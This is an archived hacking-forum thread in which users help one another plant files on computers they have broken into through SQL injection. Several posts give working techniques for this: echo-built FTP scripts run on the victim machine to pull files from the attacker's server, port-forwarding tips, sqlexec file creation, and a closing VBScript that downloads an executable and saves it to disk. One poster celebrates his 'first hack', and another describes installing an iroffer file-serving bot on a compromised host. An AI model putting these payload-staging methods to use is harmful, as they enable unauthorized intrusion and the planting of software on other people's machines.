hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

blah
Hey guys, I am I can't seem upload files through tftp, I am behind a router and have tried everything but it seems hopeless, is there any way to get passed this? Btw trying to get into an sql vulnerable system. If you guys have any ideas how i could possibly upload the required files please either do so here, or privately through a private message. Thanks.
DJohn84
1) TFTP uses port 69. That port could be blocked by your ISP.

Carefull about using TFTP. The port it uses is being monitered by alot of people.

I find ftp to be more reliable, or found rather.

echo the following to a file on the remote comp

CODE
open <ip> <port>
<user>
<pass>
lcd <target dir>
get <file(s)>
quit


Then do ftp -v -i -s:file

Good luck.
blah
thanks man, was very nice of you to help, but I do need more help, I pmed ya if you could plz reply.
DJohn84
np smile.gif
virus
No PM's my dear. This is an open forum u see. We all want to learn. And as for your problem, then I think its because the router has blocked the port for TFTP, which is post 69. Don't know how you can get around the router
DJohn84
to get around the router issue you would have to (depending on the router) open port 69, or you might have to forward port 69 to a specific computer after you open it on the router.

blah
oh sorry, if I get this damn thing to work, i'll let you all know how I did it. Well I wnet into my router and enabled port 69 but still doesn't work. I tried echo commands such as
echo open yourip port
echo user >>1.txt
echo pass >>1.txt
echo mget *.* >>1.txt
echo bye
ftp.exe -i -s:1.txt

but when i try ftp.exe -i -s:1.txt it doesn't seem to connect. I have tried running both serv-u and tftpd accounts and trying to conenct with that info. Nothing.

hellpppp me smile.gif
blah
thanks djohn u rock, i actually got my first hack smile.gif
VincentVega
    ! delete literal prompt send
    ? debug ls put status
    append dir mdelete pwd trace
    ascii disconnect mdir quit type
    bell get mget quote user
    binary glob mkdir recv verbose
    bye hash mls remotehelp
    cd help mput rename
    close lcd open rmdir
DJohn84
You're welcome man smile.gif
DjMillz
why u guys use: for example: 1.txt behing >> ?
Flapdrol
The ">" character tels the console not to output to the screen but to something else (like a file)


echo BLah > hello.txt
echo BLah2 > hello.txt

puts:

Blah2

in the file hello.txt


BUT


echo BLah >> hello.txt
echo BLah2 >> hello.txt

puts:

Blah
Blah2

in hello.txt

So double ">" appends and single ">" overwrites...
DjMillz
So if i do this.."echo open 217.120.*.* 21 > blah (without *.txt) it's not good?
yeyo
it will create a blah file without extension wink.gif
toost
yep i would consider the port forwarding stuff in ur router. Mostly can be found under virtual servers /firewall settings or NAT port forwarding menu in ur router console....

I had 2 do the same (and else just install tftp on a hacked machine rofl and hope the other user will not find out smile.gif )
DjMillz
how i create files on their computer with sqlexec then?
usch
what do u mean? if u think of those text files use
echo blablablabla >yourfile.txt
the "echo" command simply displays a test in the dos prompt and the ">" after a command copies that at the end of a specified text file.
if u want the file to be overwritten everytime use ">>" instead of ">"
correct me if i`m wrong ^^
DjMillz
hey, i made an ftp, and uploaded files for iroffer including install.bat, but the firewall seems to remove it, is their away around?
technoboy
why would anyone need to use tftp ?

just use this little vbs script to upload your file:

CODE
Dim DataBin
Dim HTTPGET
Set HTTPGET = CreateObject("Microsoft.XMLHTTP")
HTTPGET.Open "GET", "http://www.target.com/file.exe", False
HTTPGET.Send
DataBin = HTTPGET.ResponseBody
Const adTypeBinary=1
Const adSaveCreateOverWrite=2
Dim test1
Set test1 = CreateObject("ADODB.Stream")
test1.Type = adTypeBinary
test1.Open
test1.Write DataBin
test1.SaveToFile "file.exe", adSaveCreateOverWrite
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.